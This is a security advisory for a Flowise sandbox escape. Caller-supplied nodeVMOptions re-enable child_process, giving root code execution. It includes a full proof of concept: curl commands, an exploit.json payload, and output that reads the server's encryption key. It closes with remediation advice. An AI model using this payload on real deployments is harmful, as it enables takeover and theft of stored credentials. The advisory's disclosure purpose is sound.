GHSA-3769-jgqc-cxm7: Code Injection
Summary A sandbox escape vulnerability in executeJavaScriptCode() allows any authenticated user to execute arbitrary system commands as root on the Flowise server. The function accepts caller-provided nodeVMOptions that override the default sandbox security settings via JavaScript's spread operator, allowing an attacker to re-enable blocked modules like childprocess and fs.
Details The vulnerability is in packages/components/src/utils.ts at line 1755:
typescript const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions }
The executeJavaScriptCode() function (line 1569) creates a NodeVM sandbox with secure defaults that restrict which Node.js built-in modules can be required:
async (code, sandbox, options = {}) => { const { nodeVMOptions = {} } = options; // ... const defaultNodeVMOptions = { require: { builtin: builtinDeps, // restricted allowlist — blocks childprocess, fs, os, etc. mock: secureWrappers }, eval: false, wasm: false } const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions } // ← VULN: caller overrides security settings const vm = new NodeVM(finalNodeVMOptions) } The spread operator allows any caller to override require.builtin with [""], which permits all Node.js built-in modules including childprocess.
Taint 01: Route Registration packages/server/src/routes/node-custom-functions/index.ts (line 8) Taint 02: Controller executeCustomFunction() passes req.body to service — packages/server/src/controllers/nodes/index.ts (line 90) Taint 03: Service executeCustomNodeFunction() loads the customFunction node and calls init() with user-provided javascriptFunction — packages/server/src/utils/executeCustomNodeFunction.ts (line 49) Taint 04: Sandbox Entry Code runs inside NodeVM via executeJavaScriptCode() — packages/components/src/utils.ts (line 1760) Taint 05: Escape Inside the sandbox, the attacker requires flowise-components/dist/src/utils.js by absolute path (bypassing the module allowlist), obtaining a reference to executeJavaScriptCode() itself Taint 06: Override The attacker calls executeJavaScriptCode() with nodeVMOptions: { require: { builtin: [""] } }, which overrides the security defaults at line 1755: { ...defaultNodeVMOptions, ...nodeVMOptions } Taint 07: RCE Inside the nested VM, require("childprocess") succeeds. Arbitrary commands execute as root.
PoC Step 1: Start Flowise bash docker run -d --name flowise-poc -p 3000:3000 \ -e PORT=3000 -e DISABLEFLOWISETELEMETRY=true \ flowiseai/flowise:latest # Wait ~30s for startup curl http://localhost:3000/api/v1/version # {"version":"3.1.1"} Step 2: Obtain Bearer Token
Register an account, then create an API key: bash # Register curl -s -X POST http://localhost:3000/api/v1/account/register \ -H "Content-Type: application/json" \ -d '{"user":{"email":"attacker@test.com","password":"Attack12345","name":"Attacker"}}' # Create API key (via the UI at http://localhost:3000 → Settings → API Keys → Create) # Copy the key — this is the Bearer token used below. Step 3: Create Payload bash cat > exploit.json << 'EOF' { "javascriptFunction": "const utils = require('/usr/local/lib/nodemodules/flowise/nodemodules/flowise-components/dist/src/utils.js'); const code = 'const cp = require(\"childprocess\"); cp.execSync(\"id > /tmp/RCE-PROOF.txt\"); return cp.execSync(\"id\").toString()'; return await utils.executeJavaScriptCode(code, {}, { nodeVMOptions: { require: { builtin: [\"\"] } } })" } EOF
Step 4: Exploit
bash # Pre-check: file does not exist docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt # ls: /tmp/RCE-PROOF.txt: No such file or directory # Execute curl -X POST http://localhost:3000/api/v1/node-custom-function \ -H "Content-Type: application/json" \ -H "Authorization: Bearer <TOKEN>" \ -d @exploit.json # "uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)...\n" docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt # -rw-r--r-- 1 root root 138 Apr 2 05:02 /tmp/RCE-PROOF.txt docker exec flowise-poc cat /tmp/RCE-PROOF.txt # uid=0(root) gid=0(root) groups=0(root)... docker exec flowise-poc cat /root/.flowise/encryption.key # GI6doXdDjU0JTxgUsUoft5E+A0TS9qFb <img width="1919" height="1033" alt="image" src="https://github.com/user-attachments/assets/3a2473f0-75a7-4c01-8c9d-9c758cf957fc" />
Impact Full remote code execution as root. Any authenticated user with a valid API key can execute arbitrary system commands on the host, read any file on the filesystem including the encryption key at /root/.flowise/encryption.key (which decrypts every stored credential - API keys, OAuth tokens, database passwords) and the JWT signing secret at /root/.flowise/jwtauthtokensecret.key (which allows forging authentication tokens for any user), and establish persistent access via cron jobs or reverse shells. All Flowise deployments running >= 3.0.5 through 3.1.1 (latest) are affected.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/flowise-componentsto a version that resolves this vulnerability.Fixed in 3.1.3 - Upgrade
Upgrade
npm/flowiseto a version that resolves this vulnerability.Fixed in 3.1.3 - Upgrade
Upgrade
flowiseto a version that resolves this vulnerability.Fixed in 3.1.1 - Configuration
Disable/ignore caller-provided overrides that expand NodeVM built-in module requirements; specifically prevent `nodeVMOptions: { require: { builtin: ["*"] } }` from overriding secure defaults used in `executeJavaScriptCode()` (vulnerability at `packages/components/src/utils.ts` line 1755: `{ ...defaultNodeVMOptions, ...nodeVMOptions }`).
Flowise executeJavaScriptCode() / NodeVM sandbox nodeVMOptions.require.builtin = restricted allowlist (do not allow caller override to ["*"]) - Compensating control
Block or restrict access to the Flowise endpoint that executes custom functions (the route using `executeJavaScriptCode()` for `node-custom-function`, shown in the material as `POST http://localhost:3000/api/v1/node-custom-function`) to trusted administrators only (e.g., via network ACL/firewall/WAF), since any authenticated user with a valid API key can exploit it.
- Operational
After patching, rotate any potentially exposed secrets/credentials, including Flowise API keys and any secrets derivable from `/root/.flowise/encryption.key` and `/root/.flowise/jwt_auth_token_secret.key`, since the material states the attacker can read the encryption key and the JWT signing secret via the described exploit.